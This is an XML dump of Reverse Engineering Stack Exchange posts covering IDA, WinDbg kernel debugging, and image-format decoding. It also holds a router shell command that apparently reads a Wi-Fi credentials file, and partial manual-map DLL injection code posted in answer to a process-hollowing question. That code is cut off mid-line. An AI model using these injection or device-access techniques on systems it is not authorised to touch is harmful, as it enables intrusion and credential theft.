  <row Id="26695" PostTypeId="1" CreationDate="2021-01-04T02:50:54.370" Score="1" ViewCount="152" Body="&lt;p&gt;This seems like a very basic use case and I can't get it to work properly. I'm developing my own test application in Visual Studio c++. I want to test it through several IDA debugging sessions. Every time I modify the code, recompile and try to debug it, IDA warns me that the input has changed and that I should reload the binary, which I do through &amp;quot;File -&amp;gt; Load file -&amp;gt; Reload input file&amp;quot;. I then go to &amp;quot;Options -&amp;gt; General -&amp;gt; Analysis -&amp;gt; Reanalyze program&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Is this the correct way to do things?&lt;/p&gt;&#xA;&lt;p&gt;I'm also quite concerned because &lt;em&gt;sometimes&lt;/em&gt; this loop fails as the function window show many (more) functions with (null) name and &amp;quot;sp analysis failed&amp;quot; all over the disassembly. I then have to close the project and start a new one, which is rather annoying.&lt;/p&gt;&#xA;&lt;p&gt;Any pointers on how to speed this whole thing up are welcome. Please note that I'm much less interested in removing the errors messages than removing the problems associated with them.&lt;/p&gt;&#xA;" OwnerUserId="10182" LastActivityDate="2021-06-05T22:01:45.157" Title="How to avoid database / code mismatch when developing and debugging your own code in IDA?" Tags="|ida|c++|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26698" PostTypeId="2" ParentId="47" CreationDate="2021-01-04T10:44:26.807" Score="1" Body="&lt;p&gt;While it's not possible to obfuscate object files, it is possible to obfuscate the underlying assembly file. There is no such thing as name obfuscation in C++ since references are by address, not by name. Using full optimization (-O3 -Ob2 -flto) can also make it hard to reverse engineer your code. Also, you can also use VMProtect/Denuvo to encrypt and obfuscate your executable.&lt;/p&gt;&#xA;&lt;p&gt;You may find those posts useful&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/137038/how-do-you-get-assembler-output-from-c-c-source-in-gcc&quot;&gt;https://stackoverflow.com/questions/137038/how-do-you-get-assembler-output-from-c-c-source-in-gcc&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/a/22052/33533&quot;&gt;https://reverseengineering.stackexchange.com/a/22052/33533&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33533" LastActivityDate="2021-01-04T10:44:26.807" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26700" PostTypeId="1" AcceptedAnswerId="26702" CreationDate="2021-01-04T12:24:51.753" Score="2" ViewCount="259" Body="&lt;p&gt;The only method i know to break on a &lt;code&gt;DriverEntry&lt;/code&gt; of a rootkit driver when its loaded is to disassmble &lt;code&gt;nt!IopLoadDriver&lt;/code&gt; and find an indirect call in it and break on it. Setting a break point on &lt;code&gt;rootkitDriverName!DriverEntry&lt;/code&gt; doesn't work either for some reason.&lt;/p&gt;&#xA;&lt;p&gt;Is there any easier way to break on the rootkit driver entry? Why does &lt;code&gt;rootkitDriverName!DriverEntry&lt;/code&gt; not work?&lt;/p&gt;&#xA;" OwnerUserId="30154" LastEditorUserId="245" LastEditDate="2021-01-05T12:59:36.950" LastActivityDate="2023-10-25T09:31:31.893" Title="Is there an easier way to break on a rootkit driver load, other than disassembling IopLoadDriver?" Tags="|malware|windbg|kernel|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26701" PostTypeId="1" CreationDate="2021-01-04T16:22:21.220" Score="1" ViewCount="87" Body="&lt;p&gt;Why do some antiviruses hook x64 Ntdll in WOW64 process? However, the same antiviruses do not hook Ntdll in the native x64 processes.&lt;/p&gt;&#xA;" OwnerUserId="24208" LastActivityDate="2021-01-04T16:22:21.220" Title="Why do some antiviruses hook x64 Ntdll in WOW64 process?" Tags="|function-hooking|syscall|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26702" PostTypeId="2" ParentId="26700" CreationDate="2021-01-04T19:46:23.597" Score="3" Body="&lt;p&gt;Try enabling break on module load:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sxe ld rootkitDriverName&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;See also &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/2638/60&quot;&gt;https://reverseengineering.stackexchange.com/a/2638/60&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2021-01-04T20:16:46.527" LastActivityDate="2021-01-04T20:16:46.527" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="26704" PostTypeId="1" AcceptedAnswerId="26711" CreationDate="2021-01-04T23:09:53.127" Score="0" ViewCount="114" Body="&lt;p&gt;I understand that &lt;a href=&quot;https://github.com/nihilus/hexrays_tools/blob/master/code/defs.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;LOBYTE&lt;/a&gt; is an IDA macro for retrieving the lower byte of a variable. My question is what is the difference between the result of &lt;code&gt;x=x-1&lt;/code&gt; and &lt;code&gt;LOBYTE(x)=x-1&lt;/code&gt; when &lt;code&gt;x&lt;/code&gt; is smaller than or equal to &lt;code&gt;0xff&lt;/code&gt;? I should add that I'm implicitly assuming that &lt;code&gt;x&amp;gt;0&lt;/code&gt;. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="17667" LastEditorUserId="17667" LastEditDate="2021-01-04T23:16:59.240" LastActivityDate="2021-01-05T17:02:11.113" Title="Assuming x is a number smaller than 0xff what happens to x after the assignment LOBYTE(x)=x-1?" Tags="|ida|assembly|c|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26705" PostTypeId="2" ParentId="26594" CreationDate="2021-01-04T23:20:14.783" Score="3" Body="&lt;p&gt;The images are packed, data is little-endian where it matters.&lt;/p&gt;&#xA;&lt;p&gt;General format:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;struct CGFHeader {&#xA;  uint32_t magic;&#xA;  uint32_t flags;&#xA;  uint32_t frame_count;&#xA;  uint32_t frame_metadata_size;&#xA;  uint32_t frame_payload_size;&#xA;  uint32_t unk1;&#xA;  uint32_t unk2; &#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then repeated &lt;code&gt;frame_count&lt;/code&gt; times, starting at &lt;code&gt;+0x1c&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;struct FrameMeta {&#xA;  uint32_t unk1;&#xA;  uint32_t unk2;&#xA;  uint32_t width;&#xA;  uint32_t height;&#xA;  uint32_t unk3;&#xA;  uint32_t payload_offset;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For frame N, the payload data starts at &lt;code&gt;sizeof(CGFHeader) + cgf_header.frame_count*sizeof(FrameMeta) + frame_meta[N].payload_offset&lt;/code&gt; (i.e. at the corresponding &lt;code&gt;payload_offset&lt;/code&gt;, based immediately after the metadata structs).&lt;/p&gt;&#xA;&lt;p&gt;Each line/row of the packed image data is packed independently. Each line is prefixed by a &lt;code&gt;uint32_t&lt;/code&gt; of that line's length (including the length field). Process the packed data as follows:&lt;/p&gt;&#xA;&lt;p&gt;Read a method &lt;code&gt;uint8_t&lt;/code&gt; and a length &lt;code&gt;uint8_t&lt;/code&gt; (referred to &lt;code&gt;n&lt;/code&gt; below), and process per the below table.&lt;/p&gt;&#xA;&lt;div class=&quot;s-table-container&quot;&gt;&#xA;&lt;table class=&quot;s-table&quot;&gt;&#xA;&lt;thead&gt;&#xA;&lt;tr&gt;&#xA;&lt;th&gt;Method&lt;/th&gt;&#xA;&lt;th&gt;How to process&lt;/th&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/thead&gt;&#xA;&lt;tbody&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;&lt;code&gt;0x00&lt;/code&gt;&lt;/td&gt;&#xA;&lt;td&gt;Append &lt;code&gt;n&lt;/code&gt; transparent pixels. If &lt;code&gt;n&lt;/code&gt; is 0, pad the line with transparent pixels to expected width.&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;&lt;code&gt;0x01&lt;/code&gt;&lt;/td&gt;&#xA;&lt;td&gt;Read &lt;code&gt;n&lt;/code&gt; pairs of (palette_index, alpha) values from the packed data, appending to the line.&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;&lt;code&gt;0x02&lt;/code&gt;&lt;/td&gt;&#xA;&lt;td&gt;Read a single (palette_index, alpha) pair from the packed data. Append it to the line &lt;code&gt;n&lt;/code&gt; times.&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;&lt;code&gt;0x03&lt;/code&gt;&lt;/td&gt;&#xA;&lt;td&gt;Read &lt;code&gt;n&lt;/code&gt; palette_index values from the packed data, appending to the line.&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;&lt;code&gt;0x04&lt;/code&gt;&lt;/td&gt;&#xA;&lt;td&gt;Read a single palette_index from the packed data. Append it to the line &lt;code&gt;n&lt;/code&gt; times.&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;/div&gt;&#xA;&lt;p&gt;Keep processing method &lt;code&gt;uint8_t&lt;/code&gt; and a length &lt;code&gt;uint8_t&lt;/code&gt; bytes from the packed data until you have the full line width.&lt;/p&gt;&#xA;&lt;p&gt;In order to interpret the actual color values, you'll need the corresponding palette. The two formats you've mentioned:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;CPAL254X3STD&lt;/code&gt; just has (in this case) 254 RGB triplets appended after that header value.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;CPAL254X3ALPHA&lt;/code&gt; is the same, but with a 0x100000 byte structure appended that gets referred to as an &amp;quot;alpha map&amp;quot;. I have not bothered to look at it at all.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Rough python3 example of processing, dumping frames to 0.png, 1.png, etc in subdirectory:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import errno&#xA;import os&#xA;import struct&#xA;import sys&#xA;&#xA;from PIL import Image&#xA;&#xA;class HugoPalette(object):&#xA;  def __init__(self, rawdat):&#xA;    assert(len(rawdat) &amp;gt;= 12)&#xA;    assert(rawdat[0:4] == b'CPAL') # palette&#xA;    self.alpha_map = None&#xA;    self.entries = None&#xA;    num_entries = int(rawdat[4:7])&#xA;    assert(rawdat[7:9] == b'X3') # rgb triples&#xA;    if rawdat[9:12] == b'STD': # palette&#xA;      assert(len(rawdat) &amp;gt;= 12 + num_entries*3)&#xA;      self.entries = []&#xA;      offset = 12&#xA;      for n in range(num_entries):&#xA;        self.entries.append(struct.unpack_from(&amp;quot;BBB&amp;quot; ,rawdat, offset))&#xA;        offset = offset + 3&#xA;    elif rawdat[9:14] == b'ALPHA': # palette and alphamap&#xA;      assert(len(rawdat) &amp;gt;= 14 + num_entries*3 + 0x100000)&#xA;      self.entries = []&#xA;      offset = 14&#xA;      for n in range(num_entries):&#xA;        self.entries.append(struct.unpack_from(&amp;quot;BBB&amp;quot; ,rawdat, offset))&#xA;        offset = offset + 3&#xA;      self.alphamap = rawdat[14 + num_entries*3:14 + num_entries*3 + 0x100000] # not sure how to interpret&#xA;    else:&#xA;      raise NotImplementedError(&amp;quot;unknown palette type&amp;quot;)&#xA;&#xA;&#xA;class HugoImage(object):&#xA;  def __init__(self, width, height, rawdat, offset):&#xA;    self.width = width&#xA;    self.height = height&#xA;&#xA;    rows = []&#xA;    for n in range(height):&#xA;      (packed_line_length,) =  struct.unpack_from(&amp;quot;&amp;lt;L&amp;quot;, rawdat, offset)&#xA;      assert(len(rawdat) &amp;gt;= offset + packed_line_length)&#xA;      packed_line = rawdat[offset+4:offset+packed_line_length]&#xA;      line = []&#xA;      index = 0&#xA;      # unpacking:&#xA;      # 00 nn                   = skip nn pixels [nn=00: skip to end of line]&#xA;      # 01 nn pp aa [pp aa ...] = insert nn entries from trailing pp, replacing alpha with aa&#xA;      # 02 nn pp aa             = repeat pp for nn pixels, replacing alpha with aa&#xA;      # 03 nn pp [pp ...]       = insert nn entries from trailing pp&#xA;      # 04 nn pp                = repeat pp for nn pixels&#xA;      while True:&#xA;        method = packed_line[index]&#xA;        pixel_count = packed_line[index+1]&#xA;        index = index + 2&#xA;        if method == 0:&#xA;          if pixel_count == 0:&#xA;            while(len(line) &amp;lt; self.width):&#xA;              line.append((0, 0))&#xA;            break&#xA;          line.extend([(0,0)]*pixel_count)&#xA;        elif method == 1:&#xA;          for p in range(pixel_count):&#xA;            line.append((packed_line[index], packed_line[index+1]))&#xA;            index = index + 2&#xA;        elif method == 2:&#xA;          line.extend([(packed_line[index], packed_line[index+1])]*pixel_count)&#xA;          index = index + 2&#xA;        elif method == 3:&#xA;          for p in range(pixel_count):&#xA;            line.append((packed_line[index],0xff))&#xA;            index = index + 1&#xA;        elif packed_line[index] == 4:&#xA;          line.extend([(packed_line[index], 0xff)]*pixel_count)&#xA;          index = index + 1&#xA;      assert(len(line) == self.width)&#xA;      rows.append(line)&#xA;      offset = offset + 4 + index&#xA;    self.rows = rows&#xA;&#xA;def load_images(rawdat):&#xA;  HEADER_STRUCT_SIZE=0x1c&#xA;  METADATA_STRUCT_SIZE=0x18&#xA;  offset = 0&#xA;  assert(len(rawdat) &amp;gt;= offset + HEADER_STRUCT_SIZE)&#xA;  (magic, _, count, metadata_size, payload_size, _, _) = struct.unpack_from(&amp;quot;&amp;lt;LLLLLLL&amp;quot;, rawdat, offset)&#xA;  offset = offset + HEADER_STRUCT_SIZE&#xA;  assert(magic == 0x46464743)&#xA;  assert(metadata_size == count * METADATA_STRUCT_SIZE)&#xA;  metadata = []&#xA;  for n in range(count):&#xA;    assert(len(rawdat) &amp;gt;= offset + METADATA_STRUCT_SIZE)&#xA;    metadata.append(struct.unpack_from(&amp;quot;&amp;lt;LLLLLL&amp;quot;, rawdat, offset))&#xA;    offset = offset + METADATA_STRUCT_SIZE&#xA;  images = []&#xA;  for im in metadata:&#xA;    images.append(HugoImage(im[2], im[3], rawdat, offset + im[5]))&#xA;  return images&#xA;&#xA;&#xA;def main(args):&#xA;  if len(args) != 3:&#xA;    print(f&amp;quot;usage: python3 {args[0]} palette.pal image.cgf&amp;quot;)&#xA;    sys.exit(1)&#xA;  with open(args[1], &amp;quot;rb&amp;quot;) as infile:&#xA;    dat = infile.read()&#xA;  pal = HugoPalette(dat)&#xA;&#xA;  with open(args[2], &amp;quot;rb&amp;quot;) as infile:&#xA;    dat = infile.read()&#xA;  images = load_images(dat)&#xA;&#xA;  output_dir = args[2] + &amp;quot;.extracted&amp;quot;&#xA;  output_index = 0&#xA;&#xA;  try:&#xA;    os.makedirs(output_dir)&#xA;  except OSError as e:&#xA;    if e.errno != errno.EEXIST:&#xA;      raise&#xA;&#xA;  for i in images:&#xA;    img = Image.new('RGBA', (i.width, i.height))&#xA;    for y in range(i.height):&#xA;      for x in range(i.width):&#xA;        (index, alpha) = i.rows[y][x]&#xA;        pal_entry = pal.entries[index]&#xA;        col = (pal_entry[0], pal_entry[1],pal_entry[2], alpha)&#xA;        img.putpixel((x,y), col)&#xA;    img.save(os.path.join(output_dir, str(output_index) + &amp;quot;.png&amp;quot;), &amp;quot;PNG&amp;quot;)&#xA;    output_index = output_index + 1&#xA;&#xA;if __name__ == '__main__':&#xA;  main(sys.argv)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12017" LastActivityDate="2021-01-04T23:20:14.783" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26706" PostTypeId="2" ParentId="25619" CreationDate="2021-01-05T00:19:08.547" Score="1" Body="&lt;p&gt;Patch bytes shows only 16 bytes at a time, which is not enough to display the entire string.&lt;/p&gt;&#xA;&lt;p&gt;Easier to use the Hex Dump view to edit the string. This can be opened with View -&amp;gt; Open Subviews -&amp;gt; Hex Dump. If necessary right click &amp;quot;Synchronize with ...&amp;quot; and specify view to sync with.&lt;/p&gt;&#xA;&lt;p&gt;You can right click to select option to &amp;quot;Edit...&amp;quot; in this view. Once done editing right click again and you can select option to &amp;quot;Apply Changes&amp;quot; or hit F2.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2021-01-05T00:19:08.547" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26707" PostTypeId="2" ParentId="26670" CreationDate="2021-01-05T02:44:11.073" Score="0" Body="&lt;p&gt;try&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SU_WAP&amp;gt;display file /var/wifi.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Echolife HG8245W5-6T shell block&lt;/p&gt;&#xA;" OwnerUserId="35425" LastEditorUserId="245" LastEditDate="2021-01-05T12:35:40.577" LastActivityDate="2021-01-05T12:35:40.577" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26708" PostTypeId="1" AcceptedAnswerId="26709" CreationDate="2021-01-05T06:34:19.827" Score="1" ViewCount="74" Body="&lt;p&gt;I have seen many drivers with a section named PAGE, but couldn't find good enough information on it, what is the role of this section?&lt;/p&gt;&#xA;" OwnerUserId="30154" LastActivityDate="2021-01-05T12:47:36.253" Title="What is the role of PAGE section in windows Drivers?" Tags="|windows|pe|kernel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26709" PostTypeId="2" ParentId="26708" CreationDate="2021-01-05T12:47:36.253" Score="1" Body="&lt;p&gt;Simple, it's a section that will supposedly be mapped as &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/memory/memory-pools&quot; rel=&quot;nofollow noreferrer&quot;&gt;paged memory&lt;/a&gt;. This can contain code or data and is governed by &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/mm-bad-pointer#paged_code&quot; rel=&quot;nofollow noreferrer&quot;&gt;the PAGED_CODE macro&lt;/a&gt;, among others, at source code level.&lt;/p&gt;&#xA;&lt;p&gt;That is, whatever gets stored in that section cannot be accessed at arbitrary IRQLs. Quote:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;If the IRQL &amp;gt; APC_LEVEL, the PAGED_CODE macro causes the system to ASSERT.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/overview-of-windows-memory-space&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; for an entry point into the overall topic. But I reckon given the specific nature of your question you are aware of paged and nonpaged pool and so on.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2021-01-05T12:47:36.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26710" PostTypeId="1" CreationDate="2021-01-05T14:49:18.140" Score="2" ViewCount="495" Body="&lt;p&gt;I just reached the the topic of Compilers in the book &amp;quot;Reversing:Secrets of Reverse Engineering&amp;quot; So, I want to ask, is the knowledge of Compilers necessary for becoming a Malware Reverse Engineer?&lt;/p&gt;&#xA;&lt;p&gt;Can anyone please guide me? ☺️&lt;/p&gt;&#xA;" OwnerUserId="34958" LastEditorUserId="1323" LastEditDate="2021-01-08T19:43:41.867" LastActivityDate="2021-01-10T20:01:36.953" Title="The Knowledge of Compiler for becoming a good Reverser" Tags="|ida|debugging|binary-analysis|malware|disassemblers|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26711" PostTypeId="2" ParentId="26704" CreationDate="2021-01-05T17:02:11.113" Score="1" Body="&lt;pre&gt;&lt;code&gt;Quote From Link     &#xA;#define LOBYTE(x)   (*((_BYTE*)&amp;amp;(x))) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;is that a hypothetical query x is treated as address&lt;br /&gt;&#xA;so x-1 will be a 32 bit type on a x86 machine so theoretically&lt;br /&gt;&#xA;you cannot assign a 32 bit type to an 8 bit type&lt;br /&gt;&#xA;LOBYTE(x) will be a byte and not an address so again&#xA;theoretically you cannot assign a byte to a byte&lt;/p&gt;&#xA;&lt;p&gt;LOBYTE(x) is an &lt;strong&gt;AND&lt;/strong&gt; operation that extracts the unsigned byte from a specific address&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;x as address    contents         LOBYTE(x)     (byte *)&amp;amp;x = LOBYTE(x)-1&#xA;0x00400000      0xffffffff       0x000000ff    byte[0x004000000] = 0x000000ff -1 =0x000000fe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;so if you look as a DWORD &lt;strong&gt;0x400000 will now contain 0xfffffffe&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;demo using a python script&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cat LOBYTE.py&#xA;import ctypes&#xA;&#xA;def LOBYTE(arg):&#xA;    return arg.value &amp;amp; 0x000000ff&#xA;&#xA;x = ctypes.c_ulong(0xffffffff)&#xA;print( &amp;quot;x as address&amp;quot; , ctypes.byref(x))&#xA;print( &amp;quot;x holds&amp;quot;  , hex(x.value))&#xA;print(&amp;quot;result of LOBYTE(x)&amp;quot;, LOBYTE(x))&#xA;x.value = ( (x.value &amp;amp; 0xffffff00 ) | LOBYTE(x)- 1 )&#xA;print( &amp;quot;x holds&amp;quot;  , hex(x.value))&#xA;&#xA;&#xA;:\&amp;gt;python LOBYTE.py&#xA;x as address &amp;lt;cparam 'P' (017CA098)&amp;gt;&#xA;x holds 0xffffffff&#xA;result of LOBYTE(x) 255&#xA;x holds 0xfffffffe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2021-01-05T17:02:11.113" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26712" PostTypeId="1" CreationDate="2021-01-05T19:15:42.843" Score="2" ViewCount="401" Body="&lt;p&gt;I know that the PE loader is the one that is responsible for assigning addresses in a PE Import Address Table, so why when we inject code using process hollowing we don't build the IAT?&#xA;We just copy all the sections and headers but we don't resolve the addresses in the IAT. I don't understand how it works, does the resolving happens after the injection or something?&lt;/p&gt;&#xA;" OwnerUserId="35431" LastEditorUserId="35431" LastEditDate="2021-01-05T19:22:07.770" LastActivityDate="2021-01-06T14:41:40.857" Title="Import Address Table in Process Hollowing" Tags="|pe|injection|process|iat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26713" PostTypeId="2" ParentId="26710" CreationDate="2021-01-06T01:50:32.617" Score="4" Body="&lt;p&gt;If you were given a piece of source code written in a language you had never seen before, you would want to study the syntax and rules of the language so that you could understand what the piece of code is doing.&lt;/p&gt;&#xA;&lt;p&gt;A compiler transforms a high-level human friendly language (C for example) into in binary instructions that a CPU can run directly. These binary instructions are called assembly.&lt;/p&gt;&#xA;&lt;p&gt;Understanding the process by which a program is compiled from human friendly languages to binary instructions is helpful for anyone writing programs because it lets you reason about what actually happens on the computer. Studying compilers helps you understand the syntax and rules at work when the compiler writes a program in assembly.&lt;/p&gt;&#xA;&lt;p&gt;Compilers do all manner of smart things to make programs &amp;quot;better&amp;quot; or &amp;quot;faster&amp;quot;. They can remove code which will never be executed, they can reorder chunks of code  to use less memory, they can precompute constant values at compile time rather than running them at execution time.&lt;/p&gt;&#xA;&lt;p&gt;By understanding what a compiler can do, you can recognize how it rewrites programs when it creates assembly. As a reverse engineer, recognizing these patterns will let you reason about what the original human friendly code was doing.&lt;/p&gt;&#xA;&lt;p&gt;Knowledge of compilers and their output will make it easier to spot when something different has been introduced into an existing program.&lt;/p&gt;&#xA;&lt;p&gt;Compilers are to computers what the discovery of flight was to transportation. They are a revolutionary technological breakthrough which are often taken for granted.&lt;/p&gt;&#xA;&lt;p&gt;The two go-to references are &lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/com/0321486811&quot; rel=&quot;nofollow noreferrer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ullman&lt;/a&gt; (commonly known as the &lt;a href=&quot;https://en.wikipedia.org/wiki/Dragon_Book&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;Dragon Book&amp;quot;&lt;/a&gt;) and &lt;a href=&quot;https://www.cs.princeton.edu/%7Eappel/modern/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Appel&lt;/a&gt; (commonly known as the &amp;quot;Tiger Book&amp;quot;). Or good old &lt;a href=&quot;https://en.wikipedia.org/wiki/Compiler&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia on Compilers&lt;/a&gt;. You can pickup a used early edition copy of &lt;a href=&quot;https://rads.stackoverflow.com/amzn/click/com/0321486811&quot; rel=&quot;nofollow noreferrer&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ullman&lt;/a&gt; for $20. It's well worth it.&lt;/p&gt;&#xA;" OwnerUserId="34929" LastEditorUserId="34929" LastEditDate="2021-01-07T15:23:49.957" LastActivityDate="2021-01-07T15:23:49.957" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26715" PostTypeId="1" CreationDate="2021-01-06T09:32:18.363" Score="1" ViewCount="255" Body="&lt;p&gt;The &amp;quot;.thread&amp;quot; command is used to change the thread context in Windows kernel debugging.&#xA;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/-thread--set-register-context-&quot; rel=&quot;nofollow noreferrer&quot;&gt;MSDN&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But I encountered the below situation:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Execute the following two commands consecutively.&#xA;The first command set thread context to ffffc08213599040, but it Actually still ffffc08229313080.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; .thread ffffc082`13599040          &#xA;Implicit thread is now ffffc082`13599040&#xA;0: kd&amp;gt; .thread&#xA;Implicit thread is now ffffc082`29313080   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;2.Execute the following two commands consecutively. I want to change the rip of the thread ffffc08213599040, But command &amp;quot;r rip=xxx&amp;quot; failed.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; .thread ffffc082`13599040&#xA;Implicit thread is now ffffc082`13599040&#xA;0: kd&amp;gt; r rip = fffff803`3de6341d&#xA;Last set context:&#xA;                               ^ Bad register error in 'r rip = fffff803`3de6341d'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="35069" LastActivityDate="2021-01-06T15:40:08.900" Title="Windbg .thread command is useless?" Tags="|windbg|kernel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26716" PostTypeId="2" ParentId="9113" CreationDate="2021-01-06T14:27:44.823" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;https://ghidra-sre.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ghidra&lt;/a&gt; to generate call graphs for various binaries, including x86 Linux ELF binaries.&lt;/p&gt;&#xA;" OwnerUserId="30460" LastActivityDate="2021-01-06T14:27:44.823" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26717" PostTypeId="2" ParentId="26712" CreationDate="2021-01-06T14:41:40.857" Score="1" Body="&lt;p&gt;Obviously you should resolve the address in IAT.&lt;/p&gt;&#xA;&lt;p&gt;This is a manually mapped dll code, you can take a look.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;Windows.h&amp;gt;&#xA;#include &amp;lt;intrin.h&amp;gt;&#xA;&#xA;typedef HMODULE(WINAPI* pLoadLibraryA)(LPCSTR);&#xA;typedef FARPROC(WINAPI* pGetProcAddress)(HMODULE, LPCSTR);&#xA;&#xA;typedef BOOL(WINAPI* PDLL_MAIN)(HMODULE, DWORD, PVOID);&#xA;&#xA;typedef struct _MANUAL_INJECT&#xA;{&#xA;    PVOID ImageBase;&#xA;    PIMAGE_NT_HEADERS NtHeaders;&#xA;    PIMAGE_BASE_RELOCATION BaseRelocation;&#xA;    PIMAGE_IMPORT_DESCRIPTOR ImportDirectory;&#xA;    pLoadLibraryA fnLoadLibraryA;&#xA;    pGetProcAddress fnGetProcAddress;&#xA;}MANUAL_INJECT, * PMANUAL_INJECT;&#xA;&#xA;DWORD WINAPI LoadDll(PVOID p)&#xA;{&#xA;    PMANUAL_INJECT ManualInject;&#xA;&#xA;    HMODULE hModule;&#xA;    INT64 i, Function, count, delta;&#xA;&#xA;    PDWORD ptr;&#xA;    PWORD list;&#xA;&#xA;    PIMAGE_BASE_RELOCATION pIBR;&#xA;    PIMAGE_IMPORT_DESCRIPTOR pIID;&#xA;    PIMAGE_IMPORT_BY_NAME pIBN;&#xA;    PIMAGE_THUNK_DATA FirstThunk, OrigFirstThunk;&#xA;&#xA;    PDLL_MAIN EntryPoint;&#xA;    VOID (*EntryPointNew)(VOID);&#xA;&#xA;    ManualInject = (PMANUAL_INJECT)p;&#xA;&#xA;    pIBR = ManualInject-&amp;gt;BaseRelocation;&#xA;    delta = (DWORD)((LPBYTE)ManualInject-&amp;gt;ImageBase - ManualInject-&amp;gt;NtHeaders-&amp;gt;OptionalHeader.ImageBase); // Calculate the delta&#xA;&#xA;    // Relocate the image&#xA;&#xA;    while (pIBR-&amp;gt;VirtualAddress)&#xA;    {&#xA;        if (pIBR-&amp;gt;SizeOfBlock &amp;gt;= 